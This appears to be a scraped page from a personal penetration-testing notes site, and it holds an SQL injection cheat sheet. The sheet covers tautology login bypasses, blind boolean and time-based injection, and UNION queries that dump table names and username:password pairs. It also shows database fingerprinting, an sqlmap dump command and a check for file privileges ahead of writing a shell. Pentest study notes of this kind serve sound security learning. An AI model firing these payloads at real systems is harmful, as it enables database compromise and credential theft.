2022-09-02 09:05:59 +02:00
<!doctype html>
< html lang = "en" >
< center >
< head >
< script src = "https://cdn.jsdelivr.net/npm/fuse.js/dist/fuse.js" > < / script >
2022-09-09 15:41:05 +02:00
< script src = "https://code.jquery.com/jquery-3.5.1.min.js" > < / script >
< script type = "text/javascript" src = "/static/js/auto-complete.js" > < / script >
< script type = "text/javascript" src = "/static/js/lunr.min.js" > < / script >
< script type = "text/javascript" src = "/static/js/search.js" > < / script >
2022-09-02 09:05:59 +02:00
< link rel = "stylesheet" href = "/static/stylesheet.css" >
< link rel = "stylesheet" href = "/static/auto-complete.css" >
< br >
2022-09-09 15:41:05 +02:00
< title > The Real Hugo< / title >
2022-09-02 09:05:59 +02:00
< meta name = "viewport" content = "width=device-width, initial-scale=1" >
< / head >
< body >
<!-- topmenu -->
< div class = "menu" >
2022-09-09 15:41:05 +02:00
< a href = "/" style = "text-decoration:none" > Husk< / a >
2022-09-02 09:05:59 +02:00
< / div >
< div class = "search-container" >
< label for = "search-by" > < i class = "fas fa-search" > < / i > < / label >
< input data-search-input = "" id = "search-by" type = "search" placeholder = "Search..." autocomplete = "off" >
<!-- button type="submit"><i class="search"></i>🔍</button> -->
< span data-search-clear = "" > < i class = "fas fa-times" > < / i > < / span >
< / div >
< / div >
< div class = "menu" >
< / div >
<!-- br><br -->
< / center >
< p > < / p >
< div class = "columns" >
<!-- Sidebar -->
< div class = "column column-1" >
2022-09-09 15:41:05 +02:00
< ul > < details id = enumeration ontoggle = "linkClick(this); return false;" > < summary > Enumeration< / summary > < ul > < details id = containers ontoggle = "linkClick(this); return false;" > < summary > Containers< / summary > < ul > < / ul > < / details > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/enumeration/docs/aws.html" > aws< / a > < / li > < li > < a href = "/enumeration/docs/cewl.html" > cewl< / a > < / li > < li > < a href = "/enumeration/docs/dns.html" > dns< / a > < / li > < li > < a href = "/enumeration/docs/docker_enumeration.html" > docker_enumeration< / a > < / li > < li > < a href = "/enumeration/docs/ffuf.html" > ffuf< / a > < / li > < li > < a href = "/enumeration/docs/gobuster.html" > gobuster< / a > < / li > < li > < a href = "/enumeration/docs/kerberoast.html" > kerberoast< / a > < / li > < li > < a href = "/enumeration/docs/kubectl.html" > kubectl< / a > < / li > < li > < a href = "/enumeration/docs/ldap.html" > ldap< / a > < / li > < li > < a href = "/enumeration/docs/linux_basics.html" > linux_basics< / a > < / li > < li > < a href = "/enumeration/docs/microk8s.html" > microk8s< / a > < / li > < li > < a href = "/enumeration/docs/nfs.html" > nfs< / a > < / li > < li > < a href = "/enumeration/docs/nikto.html" > nikto< / a > < / li > < li > < a href = "/enumeration/docs/nmap.html" > nmap< / a > < / li > < li > < a href = "/enumeration/docs/port_knocking.html" > port_knocking< / a > < / li > < li > < a href = "/enumeration/docs/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/docs/rsync.html" > rsync< / a > < / li > < li > < a href = "/enumeration/docs/rustscan.html" > rustscan< / a > < / li > < li > < a href = "/enumeration/docs/shodan.html" > shodan< / a > < / li > < details id = snmp ontoggle = "linkClick(this); return false;" > < summary > Snmp< / summary > < ul > < li > < a href = "/enumeration/docs/snmp/onesixtyone.html" > onesixtyone< / a > < / li > < li > < a href = "/enumeration/docs/snmp/snmpcheck.html" > snmpcheck< / a > < / li > < / ul > < / details > < li > < a href = "/enumeration/docs/websites.html" > websites< / a > < / li > < li > < a href = "/enumeration/docs/wfuzz.html" > wfuzz< / a > < / li > < li > < a href = "/enumeration/docs/wpscan.html" > wpscan< / a > < / li > < / ul > < / details > < details id = network_scanners ontoggle = "linkClick(this); return false;" > < summary > Network_scanners< / summary > < ul > < / ul > < / details > < details id = windows ontoggle = "linkClick(this); return false;" > < summary > Windows< / summary > < ul > < li > < a href = "/enumeration/windows/bloodhound.html" > bloodhound< / a > < / li > < li > < a href = "/enumeration/windows/event_log.html" > event_log< / a > < / li > < li > < a href = "/enumeration/windows/manual_enum.html" > manual_enum< / a > < / li > < li > < a href = "/enumeration/windows/powershell.html" > powershell< / a > < / li > < li > < a href = "/enumeration/windows/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/windows/sysinternals.html" > sysinternals< / a > < / li > < li > < a href = "/enumeration/windows/sysmon.html" > sysmon< / a > < / li > < li > < a href = "/enumeration/windows/vss.html" > vss< / a > < / li > < / ul > < / details > < / ul > < / details > < details id = exploit ontoggle = "linkClick(this); return false;" > < summary > Exploit< / summary > < ul > < details id = CPUs ontoggle = "linkClick(this); return false;" > < summary > CPUs< / summary > < ul > < li > < a href = "/exploit/CPUs/meltdown.html" > meltdown< / a > < / li > < / ul > < / details > < details id = binaries ontoggle = "linkClick(this); return false;" > < summary > Binaries< / summary > < ul > < li > < a href = "/exploit/binaries/Shellcode.html" > Shellcode< / a > < / li > < li > < a href = "/exploit/binaries/aslr.html" > aslr< / a > < / li > < details id = buffer_overflow ontoggle = "linkClick(this); return false;" > < summary > Buffer_overflow< / summary > < ul > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64.html" > amd64< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64_instructions.html" > amd64_instructions< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/buffer_overflow.html" > buffer_overflow< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html" > cut_stack_in_half< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html" > pwntools_specifics< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html" > ret_address_reuse< / a > < / li > < / ul > < / details > < li > < a href = "/exploit/binaries/buffer_overflow/ropping.html" > ropping< / a > < / li > < / ul > < / details > < details id = canary_bypass ontoggle = "l
2022-09-02 09:05:59 +02:00
< / ul >
< / div >
< div class = "column column-2" >
< span class = "body" >
< style > p r e { l i n e - h e i g h t : 1 2 5 % ; }
td.linenos .normal { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
td.linenos .special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos.special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
.codehilite .hll { background-color: #2C3B41 }
.codehilite .c { color: #546E7A; font-style: italic } /* Comment */
.codehilite .err { color: #FF5370 } /* Error */
.codehilite .esc { color: #89DDFF } /* Escape */
.codehilite .g { color: #EEFFFF } /* Generic */
.codehilite .k { color: #BB80B3 } /* Keyword */
.codehilite .l { color: #C3E88D } /* Literal */
.codehilite .n { color: #EEFFFF } /* Name */
.codehilite .o { color: #89DDFF } /* Operator */
.codehilite .p { color: #89DDFF } /* Punctuation */
.codehilite .ch { color: #546E7A; font-style: italic } /* Comment.Hashbang */
.codehilite .cm { color: #546E7A; font-style: italic } /* Comment.Multiline */
.codehilite .cp { color: #546E7A; font-style: italic } /* Comment.Preproc */
.codehilite .cpf { color: #546E7A; font-style: italic } /* Comment.PreprocFile */
.codehilite .c1 { color: #546E7A; font-style: italic } /* Comment.Single */
.codehilite .cs { color: #546E7A; font-style: italic } /* Comment.Special */
.codehilite .gd { color: #FF5370 } /* Generic.Deleted */
.codehilite .ge { color: #89DDFF } /* Generic.Emph */
.codehilite .gr { color: #FF5370 } /* Generic.Error */
.codehilite .gh { color: #C3E88D } /* Generic.Heading */
.codehilite .gi { color: #C3E88D } /* Generic.Inserted */
.codehilite .go { color: #546E7A } /* Generic.Output */
.codehilite .gp { color: #FFCB6B } /* Generic.Prompt */
.codehilite .gs { color: #FF5370 } /* Generic.Strong */
.codehilite .gu { color: #89DDFF } /* Generic.Subheading */
.codehilite .gt { color: #FF5370 } /* Generic.Traceback */
.codehilite .kc { color: #89DDFF } /* Keyword.Constant */
.codehilite .kd { color: #BB80B3 } /* Keyword.Declaration */
.codehilite .kn { color: #89DDFF; font-style: italic } /* Keyword.Namespace */
.codehilite .kp { color: #89DDFF } /* Keyword.Pseudo */
.codehilite .kr { color: #BB80B3 } /* Keyword.Reserved */
.codehilite .kt { color: #BB80B3 } /* Keyword.Type */
.codehilite .ld { color: #C3E88D } /* Literal.Date */
.codehilite .m { color: #F78C6C } /* Literal.Number */
.codehilite .s { color: #C3E88D } /* Literal.String */
.codehilite .na { color: #BB80B3 } /* Name.Attribute */
.codehilite .nb { color: #82AAFF } /* Name.Builtin */
.codehilite .nc { color: #FFCB6B } /* Name.Class */
.codehilite .no { color: #EEFFFF } /* Name.Constant */
.codehilite .nd { color: #82AAFF } /* Name.Decorator */
.codehilite .ni { color: #89DDFF } /* Name.Entity */
.codehilite .ne { color: #FFCB6B } /* Name.Exception */
.codehilite .nf { color: #82AAFF } /* Name.Function */
.codehilite .nl { color: #82AAFF } /* Name.Label */
.codehilite .nn { color: #FFCB6B } /* Name.Namespace */
.codehilite .nx { color: #EEFFFF } /* Name.Other */
.codehilite .py { color: #FFCB6B } /* Name.Property */
.codehilite .nt { color: #FF5370 } /* Name.Tag */
.codehilite .nv { color: #89DDFF } /* Name.Variable */
.codehilite .ow { color: #89DDFF; font-style: italic } /* Operator.Word */
.codehilite .w { color: #EEFFFF } /* Text.Whitespace */
.codehilite .mb { color: #F78C6C } /* Literal.Number.Bin */
.codehilite .mf { color: #F78C6C } /* Literal.Number.Float */
.codehilite .mh { color: #F78C6C } /* Literal.Number.Hex */
.codehilite .mi { color: #F78C6C } /* Literal.Number.Integer */
.codehilite .mo { color: #F78C6C } /* Literal.Number.Oct */
.codehilite .sa { color: #BB80B3 } /* Literal.String.Affix */
.codehilite .sb { color: #C3E88D } /* Literal.String.Backtick */
.codehilite .sc { color: #C3E88D } /* Literal.String.Char */
.codehilite .dl { color: #EEFFFF } /* Literal.String.Delimiter */
.codehilite .sd { color: #546E7A; font-style: italic } /* Literal.String.Doc */
.codehilite .s2 { color: #C3E88D } /* Literal.String.Double */
.codehilite .se { color: #EEFFFF } /* Literal.String.Escape */
.codehilite .sh { color: #C3E88D } /* Literal.String.Heredoc */
.codehilite .si { color: #89DDFF } /* Literal.String.Interpol */
.codehilite .sx { color: #C3E88D } /* Literal.String.Other */
.codehilite .sr { color: #89DDFF } /* Literal.String.Regex */
.codehilite .s1 { color: #C3E88D } /* Literal.String.Single */
.codehilite .ss { color: #89DDFF } /* Literal.String.Symbol */
.codehilite .bp { color: #89DDFF } /* Name.Builtin.Pseudo */
.codehilite .fm { color: #82AAFF } /* Name.Function.Magic */
.codehilite .vc { color: #89DDFF } /* Name.Variable.Class */
.codehilite .vg { color: #89DDFF } /* Name.Variable.Global */
.codehilite .vi { color: #89DDFF } /* Name.Variable.Instance */
.codehilite .vm { color: #82AAFF } /* Name.Variable.Magic */
.codehilite .il { color: #F78C6C } /* Literal.Number.Integer.Long */< / style >
< div class = "column column-3" >
< ul >
< li > < a href = "#sql-injection" > SQL Injection< / a > < ul >
< li > < a href = "#finding-an-opportunity" > Finding an Opportunity< / a > < / li >
< li > < a href = "#usage" > Usage< / a > < ul >
< li > < a href = "#boolean-true-and-false" > Boolean True and False< / a > < / li >
< li > < a href = "#time-based" > Time based< / a > < / li >
< li > < a href = "#blind-injection-guessing-characters" > Blind injection // Guessing characters< / a > < / li >
< li > < a href = "#union-based" > Union based< / a > < / li >
< li > < a href = "#identify-database" > Identify Database< / a > < ul >
< li > < a href = "#sql-functions" > SQL Functions< / a > < / li >
< / ul >
< / li >
< / ul >
< / li >
< li > < a href = "#insert" > Insert< / a > < ul >
< li > < a href = "#examples" > Examples< / a > < / li >
< / ul >
< / li >
< li > < a href = "#payloads" > Payloads< / a > < / li >
< / ul >
< / li >
< / ul >
< / div >
< h1 id = "sql-injection" > SQL Injection< / h1 >
< ul >
< li > < a href = "https://blog.raw.pm/en/sql-injection-mysql-comment/" > MySQL Comments< / a > < / li >
< / ul >
< h2 id = "finding-an-opportunity" > Finding an Opportunity< / h2 >
< ul >
< li > GET parameter< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > http://example.com/index.php?id< span class = "o" > =< / span > < span class = "err" > ' < / span > or < span class = "nv" > 1< / span > < span class = "o" > =< / span > < span class = "m" > 1< / span > -- -
< / code > < / pre > < / div >
< ul >
< li > Sometimes an ID or may come first< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > http://example.com/index.php?id< span class = "o" > =< / span > < span class = "m" > 10< / span > or < span class = "nv" > 1< / span > < span class = "o" > =< / span > < span class = "m" > 1< / span > -- +
http://example.com/index.php?id< span class = "o" > =< / span > < span class = "m" > 10< / span > < span class = "s1" > ' or ' < / span > < span class = "m" > 1< / span > < span class = "s1" > ' =' < / span > < span class = "m" > 1< / span > < span class = "s1" > ' -- -< / span >
< span class = "s1" > http://example.com/index.php?id=-1' < / span > or < span class = "nv" > 1< / span > < span class = "o" > =< / span > < span class = "m" > 1< / span > -- -< span class = "p" > & < / span > < span class = "nv" > password< / span > < span class = "o" > =< / span > x
< / code > < / pre > < / div >
< ul >
< li > Provoke error to gain information< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > http://example.com/index.php?id< span class = "o" > =< / span > < span class = "err" > ' < / span >
< / code > < / pre > < / div >
< ul >
< li > < strong > Incase of client side sanitization craft the URL instead of using the form!!!< / strong > < / li >
< / ul >
< h2 id = "usage" > Usage< / h2 >
< ul >
< li > Example, terminate string via < code > '< / code > and resolve via tautology, comment the rest of the string via < code > --< / code > < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "k" > SELECT< / span > < span class = "w" > < / span > < span class = "o" > *< / span > < span class = "w" > < / span > < span class = "k" > FROM< / span > < span class = "w" > < / span > < span class = "n" > users< / span > < span class = "w" > < / span > < span class = "k" > WHERE< / span > < span class = "w" > < / span > < span class = "n" > username< / span > < span class = "w" > < / span > < span class = "o" > =< / span > < span class = "w" > < / span > < span class = "k" > admin< / span > < span class = "w" > < / span > < span class = "k" > AND< / span > < span class = "w" > < / span > < span class = "n" > password< / span > < span class = "w" > < / span > < span class = "p" > :< / span > < span class = "o" > =< / span > < span class = "w" > < / span > < span class = "s1" > ' and 1=1 -- -< / span >
< span class = "s1" > SELECT * FROM users WHERE username = admin AND password := ' < / span > < span class = "w" > < / span > < span class = "k" > or< / span > < span class = "w" > < / span > < span class = "mi" > 1< / span > < span class = "o" > =< / span > < span class = "mi" > 1< / span > < span class = "w" > < / span > < span class = "c1" > --+< / span >
< / code > < / pre > < / div >
< h3 id = "boolean-true-and-false" > Boolean True and False< / h3 >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "k" > SELECT< / span > < span class = "w" > < / span > < span class = "o" > *< / span > < span class = "w" > < / span > < span class = "k" > FROM< / span > < span class = "w" > < / span > < span class = "n" > users< / span > < span class = "w" > < / span > < span class = "k" > WHERE< / span > < span class = "w" > < / span > < span class = "n" > username< / span > < span class = "w" > < / span > < span class = "o" > =< / span > < span class = "w" > < / span > < span class = "k" > admin< / span > < span class = "w" > < / span > < span class = "k" > AND< / span > < span class = "w" > < / span > < span class = "n" > password< / span > < span class = "w" > < / span > < span class = "p" > :< / span > < span class = "o" > =< / span > < span class = "mi" > 1< / span > < span class = "s1" > ' or 1 < 2 --+< / span >
< span class = "s1" > SELECT * FROM users WHERE username = admin AND password :=1' < / span > < span class = "w" > < / span > < span class = "k" > or< / span > < span class = "w" > < / span > < span class = "mi" > 1< / span > < span class = "w" > < / span > < span class = "o" > > < / span > < span class = "w" > < / span > < span class = "mi" > 2< / span > < span class = "w" > < / span > < span class = "c1" > --+< / span >
< / code > < / pre > < / div >
< ul >
< li > Blind boolean base substring fuzzing, one char at a time, by inspecting the return value after each inserted char.< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "s1" > ' UNION SELECT null,null,null where database() like ' < / span > < span class = "n" > da< / span > < span class = "o" > %< / span > < span class = "err" > ' < / span > < span class = "p" > ;< / span > < span class = "c1" > -- -< / span >
< / code > < / pre > < / div >
< h3 id = "time-based" > Time based< / h3 >
< ul >
< li > Checking input blindly via sleep() function. Count number of cols in this way. If it is successful, the sleep(5) function executes< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "err" > ' < / span > < span class = "w" > < / span > < span class = "k" > union< / span > < span class = "w" > < / span > < span class = "k" > select< / span > < span class = "w" > < / span > < span class = "n" > sleep< / span > < span class = "p" > (< / span > < span class = "mi" > 3< / span > < span class = "p" > ),< / span > < span class = "w" > < / span > < span class = "k" > null< / span > < span class = "p" > ;< / span > < span class = "w" > < / span > < span class = "c1" > -- -< / span >
< / code > < / pre > < / div >
< h3 id = "blind-injection-guessing-characters" > Blind injection // Guessing characters< / h3 >
< div class = "codehilite" > < pre > < span > < / span > < code > http://example.com/?id< span class = "o" > =< / span > < span class = "m" > 1< / span > < span class = "err" > ' < / span > and substr< span class = "o" > ((< / span > < span class = "k" > select< / span > database< span class = "o" > ())< / span > ,1,1< span class = "o" > )< / span > < < span class = "m" > 105< / span > --+
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > http://example.com/?id< span class = "o" > =< / span > < span class = "m" > 1< / span > < span class = "err" > ' < / span > and < span class = "o" > (< / span > ascii< span class = "o" > (< / span > substr< span class = "o" > ((< / span > < span class = "k" > select< / span > database< span class = "o" > ()< / span > ,1,1< span class = "o" > ))< / span > < span class = "o" > =< / span > < span class = "m" > 115< / span > --+
< / code > < / pre > < / div >
< ul >
< li > Function substr(string, start, length)< / li >
< li > sqlmap via < code > --level=5 --risk=3 --dbms=sqlite --technique=b --dump< / code > < / li >
< / ul >
< h3 id = "union-based" > Union based< / h3 >
< ul >
< li > _First method__ check by order until error occurs< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "s1" > ' order by 1 -- -< / span >
< span class = "s1" > ' < / span > < span class = "w" > < / span > < span class = "k" > order< / span > < span class = "w" > < / span > < span class = "k" > by< / span > < span class = "w" > < / span > < span class = "mi" > 2< / span > < span class = "w" > < / span > < span class = "c1" > -- -< / span >
< span class = "err" > ' < / span > < span class = "w" > < / span > < span class = "k" > order< / span > < span class = "w" > < / span > < span class = "k" > by< / span > < span class = "w" > < / span > < span class = "mi" > 3< / span > < span class = "w" > < / span > < span class = "c1" > -- -< / span >
< / code > < / pre > < / div >
< ul >
< li > < strong > Second method< / strong > fuzzing NULL values, followed by fuzzing data types< / li >
< li > Check number of cols< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "s1" > ' UNION SELECT NULL--< / span >
< span class = "s1" > ' < / span > < span class = "w" > < / span > < span class = "k" > UNION< / span > < span class = "w" > < / span > < span class = "k" > SELECT< / span > < span class = "w" > < / span > < span class = "k" > NULL< / span > < span class = "p" > ,< / span > < span class = "k" > NULL< / span > < span class = "c1" > --< / span >
< span class = "err" > ' < / span > < span class = "w" > < / span > < span class = "k" > UNION< / span > < span class = "w" > < / span > < span class = "k" > SELECT< / span > < span class = "w" > < / span > < span class = "k" > NULL< / span > < span class = "p" > ,< / span > < span class = "k" > NULL< / span > < span class = "p" > ,< / span > < span class = "k" > NULL< / span > < span class = "c1" > --< / span >
< span class = "o" > #< / span > < span class = "w" > < / span > < span class = "k" > until< / span > < span class = "w" > < / span > < span class = "n" > the< / span > < span class = "w" > < / span > < span class = "n" > error< / span > < span class = "w" > < / span > < span class = "n" > occurs< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< ul >
< li > Check which one is a string< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "s1" > ' UNION SELECT ' < / span > < span class = "n" > a< / span > < span class = "s1" > ' ,NULL,NULL,NULL--< / span >
< span class = "s1" > ' < / span > < span class = "w" > < / span > < span class = "k" > UNION< / span > < span class = "w" > < / span > < span class = "k" > SELECT< / span > < span class = "w" > < / span > < span class = "k" > NULL< / span > < span class = "p" > ,< / span > < span class = "s1" > ' a' < / span > < span class = "p" > ,< / span > < span class = "k" > NULL< / span > < span class = "p" > ,< / span > < span class = "k" > NULL< / span > < span class = "c1" > --< / span >
< span class = "s1" > ' UNION SELECT NULL,NULL,' < / span > < span class = "n" > a< / span > < span class = "s1" > ' ,NULL--< / span >
< span class = "s1" > ' < / span > < span class = "w" > < / span > < span class = "k" > UNION< / span > < span class = "w" > < / span > < span class = "k" > SELECT< / span > < span class = "w" > < / span > < span class = "k" > NULL< / span > < span class = "p" > ,< / span > < span class = "k" > NULL< / span > < span class = "p" > ,< / span > < span class = "k" > NULL< / span > < span class = "p" > ,< / span > < span class = "s1" > ' a' < / span > < span class = "c1" > --< / span >
< / code > < / pre > < / div >
< ul >
< li > Retrieve content, for cols and comment two times as an example. Or dump database< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "s1" > ' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- //< / span >
< span class = "s1" > ' < / span > < span class = "w" > < / span > < span class = "k" > UNION< / span > < span class = "w" > < / span > < span class = "k" > SELECT< / span > < span class = "w" > < / span > < span class = "k" > NULL< / span > < span class = "p" > ,< / span > < span class = "n" > username< / span > < span class = "p" > ,< / span > < span class = "n" > password< / span > < span class = "p" > ,< / span > < span class = "k" > NULL< / span > < span class = "w" > < / span > < span class = "k" > FROM< / span > < span class = "w" > < / span > < span class = "n" > users< / span > < span class = "w" > < / span > < span class = "c1" > -- //< / span >
< / code > < / pre > < / div >
< ul >
< li > Retrieve content by union poking the count and order, afterwards extracting tables via< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "m" > 0< / span > union < span class = "k" > select< / span > null, null, database< span class = "o" > ()< / span >
< span class = "m" > 0< / span > union < span class = "k" > select< / span > null, null, group_concat< span class = "o" > (< / span > table_name< span class = "o" > )< / span > from information_schema.tables where < span class = "nv" > table_schema< / span > < span class = "o" > =< / span > < span class = "s1" > ' found_db' < / span >
< span class = "m" > 0< / span > union < span class = "k" > select< / span > null, null, group_concat< span class = "o" > (< / span > column_name< span class = "o" > )< / span > from information_schema.columns where < span class = "nv" > table_name< / span > < span class = "o" > =< / span > < span class = "s1" > ' found_tablename' < / span >
< span class = "m" > 0< / span > union < span class = "k" > select< / span > null, null, group_concat< span class = "o" > (< / span > username, < span class = "s1" > ' :' < / span > , password from found_tablename
< / code > < / pre > < / div >
< ul >
< li > < a href = "https://www.owasp.org/index.php/SQL_Injection" > OWASP SQLi Docs< / a > < / li >
< / ul >
< h3 id = "identify-database" > Identify Database< / h3 >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "nv" > id< / span > < span class = "o" > =< / span > sqlite_version< span class = "o" > ()< / span >
< span class = "nv" > id< / span > < span class = "o" > =< / span > @@version < span class = "c1" > # mysql/mssql< / span >
< span class = "nv" > id< / span > < span class = "o" > =(< / span > SELECT banner FROM v< span class = "nv" > $version< / span > < span class = "o" > )< / span > < span class = "c1" > # oracle< / span >
< / code > < / pre > < / div >
< h4 id = "sql-functions" > SQL Functions< / h4 >
< ul >
< li > Use sql functions to fumble the tables & cols via union< / li >
< li > < a href = "https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635" > source< / a > < / li >
< li > Extract tables < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "mi" > 1< / span > < span class = "err" > ' < / span > < span class = "w" > < / span > < span class = "k" > and< / span > < span class = "w" > < / span > < span class = "mi" > 1< / span > < span class = "o" > =< / span > < span class = "mi" > 2< / span > < span class = "w" > < / span > < span class = "k" > union< / span > < span class = "w" > < / span > < span class = "k" > select< / span > < span class = "w" > < / span > < span class = "mi" > 1< / span > < span class = "p" > ,< / span > < span class = "n" > group_concat< / span > < span class = "p" > (< / span > < span class = "k" > table_name< / span > < span class = "p" > ),< / span > < span class = "mi" > 3< / span > < span class = "p" > ,< / span > < span class = "mi" > 4< / span > < span class = "w" > < / span > < span class = "k" > from< / span > < span class = "w" > < / span > < span class = "n" > information_schema< / span > < span class = "p" > .< / span > < span class = "n" > tables< / span > < span class = "w" > < / span > < span class = "k" > where< / span > < span class = "w" > < / span > < span class = "n" > table_schema< / span > < span class = "w" > < / span > < span class = "o" > =< / span > < span class = "w" > < / span > < span class = "k" > database< / span > < span class = "p" > ()< / span > < span class = "w" > < / span > < span class = "c1" > -- -< / span >
< / code > < / pre > < / div >
< ul >
< li > sqlite specific< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "err" > ' < / span > < span class = "w" > < / span > < span class = "k" > UNION< / span > < span class = "w" > < / span > < span class = "k" > SELECT< / span > < span class = "w" > < / span > < span class = "k" > sql< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "k" > sql< / span > < span class = "w" > < / span > < span class = "k" > FROM< / span > < span class = "w" > < / span > < span class = "n" > sqlite_master< / span > < span class = "w" > < / span > < span class = "c1" > -- -< / span >
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "p" > (< / span > < span class = "k" > SELECT< / span > < span class = "w" > < / span > < span class = "k" > sql< / span > < span class = "w" > < / span > < span class = "k" > FROM< / span > < span class = "w" > < / span > < span class = "n" > sqlite_master< / span > < span class = "w" > < / span > < span class = "k" > WHERE< / span > < span class = "w" > < / span > < span class = "k" > type< / span > < span class = "o" > !=< / span > < span class = "s1" > ' meta' < / span > < span class = "w" > < / span > < span class = "k" > AND< / span > < span class = "w" > < / span > < span class = "k" > sql< / span > < span class = "w" > < / span > < span class = "k" > NOT< / span > < span class = "w" > < / span > < span class = "k" > NULL< / span > < span class = "w" > < / span > < span class = "k" > AND< / span > < span class = "w" > < / span > < span class = "n" > name< / span > < span class = "w" > < / span > < span class = "o" > =< / span > < span class = "s1" > ' usertable' < / span > < span class = "p" > )< / span > < span class = "w" > < / span >
< span class = "p" > (< / span > < span class = "k" > SELECT< / span > < span class = "w" > < / span > < span class = "n" > group_concat< / span > < span class = "p" > (< / span > < span class = "n" > tbl_name< / span > < span class = "p" > )< / span > < span class = "w" > < / span > < span class = "k" > FROM< / span > < span class = "w" > < / span > < span class = "n" > sqlite_master< / span > < span class = "w" > < / span > < span class = "k" > WHERE< / span > < span class = "w" > < / span > < span class = "k" > type< / span > < span class = "o" > =< / span > < span class = "s1" > ' table' < / span > < span class = "w" > < / span > < span class = "k" > and< / span > < span class = "w" > < / span > < span class = "n" > tbl_name< / span > < span class = "w" > < / span > < span class = "k" > NOT< / span > < span class = "w" > < / span > < span class = "k" > like< / span > < span class = "w" > < / span > < span class = "s1" > ' sqlite_%' < / span > < span class = "p" > )< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< ul >
< li > Extract cols< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "m" > 1< / span > < span class = "s1" > ' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name =' < / span > user< span class = "err" > ' < / span > -- -
< / code > < / pre > < / div >
< ul >
< li > Data from cols< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "mi" > 1< / span > < span class = "err" > ' < / span > < span class = "w" > < / span > < span class = "k" > and< / span > < span class = "w" > < / span > < span class = "mi" > 1< / span > < span class = "o" > =< / span > < span class = "mi" > 2< / span > < span class = "w" > < / span > < span class = "k" > union< / span > < span class = "w" > < / span > < span class = "k" > select< / span > < span class = "w" > < / span > < span class = "mi" > 1< / span > < span class = "p" > ,< / span > < span class = "n" > group_concat< / span > < span class = "p" > (< / span > < span class = "n" > username< / span > < span class = "p" > ,< / span > < span class = "mi" > 0< / span > < span class = "n" > x3a< / span > < span class = "p" > ,< / span > < span class = "n" > password< / span > < span class = "p" > ),< / span > < span class = "mi" > 3< / span > < span class = "p" > ,< / span > < span class = "mi" > 4< / span > < span class = "w" > < / span > < span class = "k" > from< / span > < span class = "w" > < / span > < span class = "k" > user< / span > < span class = "c1" > -- -< / span >
< / code > < / pre > < / div >
< h2 id = "insert" > Insert< / h2 >
< ul >
< li > Check user file permissions< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "k" > union< / span > < span class = "w" > < / span > < span class = "k" > all< / span > < span class = "w" > < / span > < span class = "k" > select< / span > < span class = "w" > < / span > < span class = "mi" > 1< / span > < span class = "p" > ,< / span > < span class = "n" > group_concat< / span > < span class = "p" > (< / span > < span class = "k" > user< / span > < span class = "p" > ,< / span > < span class = "mi" > 0< / span > < span class = "n" > x3a< / span > < span class = "p" > ,< / span > < span class = "n" > file_priv< / span > < span class = "p" > ),< / span > < span class = "mi" > 3< / span > < span class = "p" > ,< / span > < span class = "mi" > 4< / span > < span class = "w" > < / span > < span class = "k" > from< / span > < span class = "w" > < / span > < span class = "n" > mysql< / span > < span class = "p" > .< / span > < span class = "k" > user< / span > < span class = "w" > < / span > < span class = "c1" > -- -< / span >
< / code > < / pre > < / div >
< ul >
< li > Insert file through insertion of < code > system()< / code > or < code > exec_shell()< / code > and a get parameter< / li >
< / ul >
